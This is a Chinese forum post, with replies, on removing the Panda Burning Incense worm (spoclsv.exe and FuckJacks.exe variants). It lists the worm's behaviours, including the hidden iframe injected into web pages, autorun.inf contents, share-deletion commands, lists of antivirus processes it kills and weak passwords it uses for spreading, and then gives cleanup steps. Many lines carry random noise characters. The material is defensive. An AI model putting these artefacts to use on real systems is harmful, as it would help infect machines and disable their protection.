熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
9 A! z) m3 v) j$ M不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。

1 o$ p$ |- \# H. C  l2 }9 |# K2.创建启动项：
8 a( n. j  l3 [' m$ u) j" Q[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"
/ ^& A% Z( Q- J. H) O! m
1 \: E0 \. x& L2 }) I0 p4 v3.在各分区根目录生成病毒副本：　　X:\setup.exe
　　X:\autorun.inf
autorun.inf内容：
1 N& n8 x  b/ k) k[AutoRun]
　　OPEN=setup.exe
　　shellexecute=setup.exe
1 Z3 v! C, q7 W　　shell\Auto\command=setup.exe
1 J+ I4 \/ U6 ?6 |& R1 ]
4.使用net share命令关闭管理共享：
cmd.exe /c net share X$ /del /y
# u5 f3 L8 T+ }+ V. D　　cmd.exe /c net share admin$ /del /y
) G* V3 b0 X! H& u% L* Q
) s4 b$ X0 U4 n8 T% V' o5.修改“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
5 F& P8 r9 k5 z　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
, v1 J6 {5 F+ p' b　　"CheckedValue"=dword:00000000
) X: W: r, \0 a. B& t! a4 b
- D2 S, ~& `: E6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
' D; }/ T0 K+ `- i! `* ?: W$ C防火墙进程
0 f4 S' o9 l. \$ h8 y5 f  M  ?# b1 [VirusScan
NOD32
网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
QQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
9 R- T3 l& n2 m& L/ D% U  @Symantec AntiVirus
3 @6 g  M5 U( w' |" Q* c) ADuba
Windows 任务管理器
esteem procs
绿鹰PC
密码防盗噬菌体木马辅助查找器
System Safety Monitor
Wrapped gift Killer
Winsock Expert
! ^" f# {, {5 B4 u; [  B游戏木马检测大师超级巡警
msctls_statusbar32
pjf(ustc)
, p. i1 R  J* m, A2 s) `IceSword

% g+ z" x9 s) u5 D7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
* h+ X  X! W5 f& X' C/ b, d　　VsTskMgr.exe
　　naPrdMgr.exe
' G3 J3 A: i5 U) [1 M- b$ V& p　　UpdaterUI.exe
" @; l' N8 t* U) T( e4 {1 F0 Q　　TBMon.exe
8 C. A) X: A; H4 R! N- n　　scan32.exe
! A* ^6 A3 L2 ?4 ]0 X* i　　Ravmond.exe
　　CCenter.exe
. f  x2 l! d; X% b% J2 u　　RavTask.exe
　　Rav.exe
　　Ravmon.exe
, w: P5 B8 V7 o' t; c　　RavmonD.exe
  |3 }( j( r" P7 g& O/ r- [  a　　RavStub.exe
　　KVXP.kxp
　　KvMonXP.kxp
　　KVCenter.kxp
　　KVSrvXP.exe
　　KRegEx.exe
2 n! f: P' S+ v9 \　　UIHost.exe
　　TrojDie.kxp
2 _% e1 n1 R& G4 P! `6 |　　FrogAgent.exe
8 _* T: _% ^5 m　　Logo1_.exe
　　Logo_1.exe
0 _3 l0 Y8 ]' J* p" ]4 X　　Rundl132.exe
- h+ Q' p1 g: v! m) H% B: L' m, m
9 g; m; C) y/ p& ~( C0 E0 \8.禁用安全软件相关服务：
# L% Y4 T  v1 T6 B) V; HSchedule
3 N# q1 ^5 z* I  |　　sharedaccess
　　RsCCenter
　　RsRavMon
　　KVWSC
% Q' U4 e0 \. p0 `0 k+ F+ p　　KVSrvXP
　　kavsvc
　　AVP
! [0 B3 G: d, o$ f　　McAfeeFramework
9 C0 t( H, l9 _2 W4 K7 F( ~, e　　McShield
　　McTaskManager
　　navapsvc
9 K- x7 {1 F( ]% v) g　　wscsvc
　　KPfwSvc
　　SNDSrvc
5 i+ s; |/ N' W$ L  H　　ccProxy
1 Z4 v- [$ R( H2 S" Z8 B4 ^) D　　ccEvtMgr
　　ccSetMgr
3 [# c) ]6 P, Y$ o. R& q! m　　SPBBCSvc
　　Symantec Core LC
　　NPFMntor
　　MskService
　　FireSvc
+ d$ h9 X! j& s' ^! e$ J
9.删除安全软件相关启动项：
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
* b7 _7 |! n% k+ yReporting Service
4 h; E9 p  _& u2 t# n* m1 q+ k3 X　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
5 `( Y" E8 O2 i# e# k) N　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
" t5 e6 {0 c7 n+ s; c+ X' B　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
6 s! |8 b; T) x* ~. u2 `! ?8 V1 c但不修改以下目录中的网页文件：
C:\WINDOWS
& ]: ?% Q/ W7 `$ f, s. E　　C:\WINNT
) }; P1 c0 U9 `% [　　C:\system32
　　C:\Documents and Settings
1 a) C$ N' a8 a+ u: F1 ], P  \　　C:\System Volume Information
　　C:\Recycled
# o$ g) H* ^- W# E1 B3 Z0 Z　　Program Files\Windows NT
. G: |' S" Z! p8 s* K. n9 m　　Program Files\WindowsUpdate
$ C. b7 C" s. `　　Program Files\Windows Media Player
　　Program Files\Outlook Express
: J) C" c! m" F5 Y3 H4 B　　Program Files\Internet Explorer
　　Program Files\NetMeeting
# H1 T" x  ]! M7 L$ s4 d' N  b1 q+ z, @1 o　　Program Files\Common Files
0 n) q) V1 I/ z2 z! `2 B　　Program Files\ComPlus Applications
5 K( N" z0 ^' j% i　　Program Files\Messenger
　　Program Files\InstallShield Installation Information
　　Program Files\MSN
0 U" X5 W% u/ J! @- E　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
! ]+ E- R8 `# Q　　Program Files\MSN Gamin Zone
11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
12.此外，病毒还会尝试删除GHO文件。
+ l( l" f/ s2 H( x2 u" u% I病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
. Z/ z1 q2 @/ y* j( N, z8 C$ _　　harley
# ^9 X- v# D' T7 ]8 `- X% E/ S6 W　　golf
- S) o: o! ^, P7 N5 i0 r　　pussy
- Z# j, D8 T5 K: j1 o　　mustang
9 k2 x1 y/ O4 I# K* g　　shadow
　　fish
　　qwerty
$ e1 z( `5 X$ u　　baseball
　　letmein
" O2 X3 M" H& ^/ l, a' b/ Y  K　　ccc
! b  `- w9 v4 E" I& M1 i7 }　　admin
　　abc
　　pass
　　passwd
7 m, S6 m7 I/ t5 d8 w, v+ I　　database
6 n8 `( U$ w. q1 D2 w3 P  m　　abcd
6 e; l/ r! |  D; T3 G# A　　abc123
　　sybase
　　123qwe
　　server
　　computer
　　super
* i- a, R( n7 E　　123asd
/ @; e1 y" Y# ], c  }! r  b4 R" _! x　　ihavenopass
　　godblessyou
　　enable
  E) V/ v* ]1 e. a! t　　alpha
　　1234qwer
　　123abc
' D6 K% V* ^% E- J& e$ a5 J　　aaa
　　patrick
' ~; {3 L/ q1 }　　pat
　　administrator
' v+ a9 u+ n) j: Y1 H　　root
　　sex
　　god
　　fuckyou
　　fuck
　　test
　　test123
　　temp
, U/ e) L. }6 X- q# b! Z( d1 A　　temp123
　　win
* N$ A# Z% T* g" E7 Z7 _+ ?　　asdf
　　pwd
( z6 t, [- O8 X/ A% `0 H　　qwer
+ w6 Y# |- z/ s　　yxcv
　　zxcv
　　home
　　xxx
4 ]- c. T+ ?  @2 p# ]3 R  ~7 A　　owner
　　login
　　Login
　　love
4 g2 g1 V5 I$ b+ t( q" j　　mypc
' o5 K6 V" o3 {2 [. D$ r& M- t2 k9 c　　mypc123
! H/ f4 d3 }7 u( N2 r& M2 `　　admin123
& \& [4 [' n" u9 y, T　　mypass
　　mypass123
9 S6 O0 p4 I. S: W# i　　Administrator
　　Guest
　　admin
& b  O; l# Z" W　　Root
. Q. I* [4 b1 V( ^8 ]$ B. @9 X) @" J7 Y
: W8 J# w! n6 W病毒文件内含有这些信息：

whboy
% }' p  m% x% D7 [  A( s# P5 t　　***武*汉*男*生*感*染*下*载*者***
解决方案：
- w0 \, {. Z5 u& T9 ]$ e0 U9 A, }
) H0 N/ P; U$ ^. J1. 结束病毒进程：
6 d* o- }; m& ]%System%\drivers\spoclsv.exe
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
% o% D, {+ @2 a4 j0 b! C“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。
; B# O! h0 a6 B' T4 T5 w
2. 删除病毒文件：
3 i; j" A; E" t- J% J( m%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。
6 X& }% V" o' Q- t0 T6 w& I
3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"

" \: V! E" _0 \9 l2 z& g4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
　　X:\autorun.inf

5. 恢复被修改的“显示所有文件和文件夹”设置：
; q; Q! K0 X* B/ t! }) h[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
- Z) u- c  H: l0 Q　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
0 m, m1 o- l' n; W/ G& [　　"CheckedValue"=dword:00000001

6. 修复或重新安装被破坏的安全软件。
0 q8 c% O6 Y: u0 C, L  R' n
7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
- [& }& ]+ [6 Shttp://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
安天熊猫烧香病毒专杀工具
! h# D+ D$ c$ g0 C4 C, B8 P; chttp://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
6 u2 y3 \* R. O! y" ihttp://ec.jiangmin.com/test/PandaKiller.rar
2 F* w+ |! C: V! [- P" @瑞星熊猫烧香病毒专杀工具
- l3 g3 ]) G, chttp://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。
9 @  f: g) e6 W! d
$ J5 W7 z) J. K7 O& @4 X' c8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。
! a  ^8 x& k1 x* V5 H. U8 K
熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”
/ e. |3 _5 d9 B" ]9 F( v
以下是数据安全实验室提供的信息与方法。
8 ~  q# L2 ^4 z! X4 F  \) \+ Z病毒描述：
" b! n5 V; u4 o. g含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
  ^4 t$ Y1 c" @# T9 z( ~
- ]1 T+ G, x2 }( D9 p4 h7 D5 H9 C, D病毒基本情况：

4 J1 k2 J9 H; `5 \& ^5 w4 t[文件信息]
0 p" G$ C/ b2 |& q  h; ~- u
病毒名: Virus.Win32.EvilPanda.a.ex$
: _  e4 g# Q# P! ], w　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
* }1 a: u4 I8 P- z3 ^5 v　　壳信息: 未知　　危害级别：高

病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
  q. {) W, H. n& F0 m( g　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
; v' V+ o4 x9 g/ y7 t9 G' M　　危害级别：高
5 v' o& {9 P1 e5 }! Z( j
病毒行为：

( w/ e7 s1 e; h+ K% @Virus.Win32.EvilPanda.a.ex$ ：
$ |8 L: _9 d; d! O
1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\system32\FuckJacks.exe
% C* z( O5 l8 n

) F4 s$ E" p, A4 g! U- K4 J　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
! }- N/ t+ _; \' Q) Z( J　　键名：FuckJacks
  E& ^; H' B4 m5 S5 v" J& g　　键值："C:WINDOWS\system32\FuckJacks.exe"

+ l# S0 g/ v0 j+ s! ?9 c9 ~键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- ]; `. w) _0 d# \　　键名：svohost
3 G' ~4 o( z7 e- R7 |* Z& Y& B3 @9 R　　键值："C:WINDOWS\system32\FuckJacks.exe"

% Q+ y+ @" q0 e9 L+ a& k7 z! T3 }3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
5 k( U* g+ J# MC:autorun.inf    1KB    RHS
! w  z* U+ g$ j' T　　C:setup.exe    230KB    RHS

4、关闭众多杀毒软件和安全工具。
& H& Z# y: {0 n  L! p$ p
6 b3 ^6 ?) g' o4 _5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

9 u4 R' N5 K' l+ I$ S6、刷新bbs.qq.com，某QQ秀链接。
! T" ?3 [: f2 Z  c5 k1 a* D' `6 O
5 `. R  ^, q* E; P/ w: i7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。

Flooder.Win32.FloodBots.a.ex$ ：
4 C/ d5 W: Q3 H) B1 n8 W3 C
2 P4 O/ W, b& k; S( c0 R  i. Q1、病毒体执行后，将自身拷贝到系统目录：
+ V0 O& t) r( U# v, \* I%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）
8 M: P. c8 w, Z
( n6 n: z, V- V2 ^0 a, t  g2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
9 |' Z- j: o: Q　　键名：Userinit
4 c5 j6 b  H0 g　　键值："C:WINDOWS\system32\SVCH0ST.exe"
- s! _  W4 Q, R. ?' Z/ c
; [/ q* T$ z2 v/ s  b1 @  y4 `9 ]4 t" y3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
" F( A+ i7 Y& U4 ?: @配置文件如下：
www。victim.net:3389
　　www。victim.net:80
6 G- e6 n" Q# B. m+ ^　　www。victim.com:80
　　www。victim.net:80
( M; |$ A% D. l* a　　1
　　1
　　120
  q8 O  W* t- I8 R　　50000

) X2 \: Z7 G- i" y4 a: V解决方案：

1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe
7 `, l4 R" g  X7 N
) a2 c- d4 u3 `+ i  b( t2 P! k3. 删除病毒文件：%System%\FuckJacks.exe
4 f# ]3 i  A( |6 i9 L  F! r7 E
# m- O" b. D, T7 [% Q* {4 r% u4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
% S* H$ R3 W9 [4 m# P　　X:\setup.exe
( x9 X, I8 a5 V8 x: u
5. 删除病毒创建的启动项：
6 I# R- A' r8 R0 C: k3 R[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"FuckJacks"="%System%\FuckJacks.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
　　"svohost"="%System%\FuckJacks.exe"
4 G+ q7 x' r( v
7 v3 A( H# P' A, m0 k6. 修复或重新安装反病毒软件
# n! I/ j$ j# ]9 }$ m% f  J' o! q
9 U! z  j  ^2 d! Z1 ]# N- _4 I5 o7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。

; m% b0 f- p5 j+ U8 x2 P' n: Y手动恢复中毒文件（在虚拟机上通过测试，供参考）

  e) I% i. j# [1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

5 @9 K" `7 ]$ M8 m2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

0 B5 N& m& c" m7 D7 v- }3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。
; L6 c. j4 L8 ?, k8 X8 n; y8 O
) j& V+ c+ ~% \, D1 U6 v4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。
+ t7 H% }' j) H( c
8 T/ W0 \- Y; z5 ?" ]5 b8 O5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

/ ~. r4 g! _6 z6 D* {就是将那个GHOST备份文件不要设置为后缀GHO

你换一个后缀不就没事了吗？
恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
+ y$ k; c; Y  j/ |! P5 ~存的片子和游戏全没了！！气死我了！！！
: ^+ h% T5 N% ~这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！
2 ?& n2 B! u5 |$ C7 n0 J

kk11qq

谢谢楼主的分享！！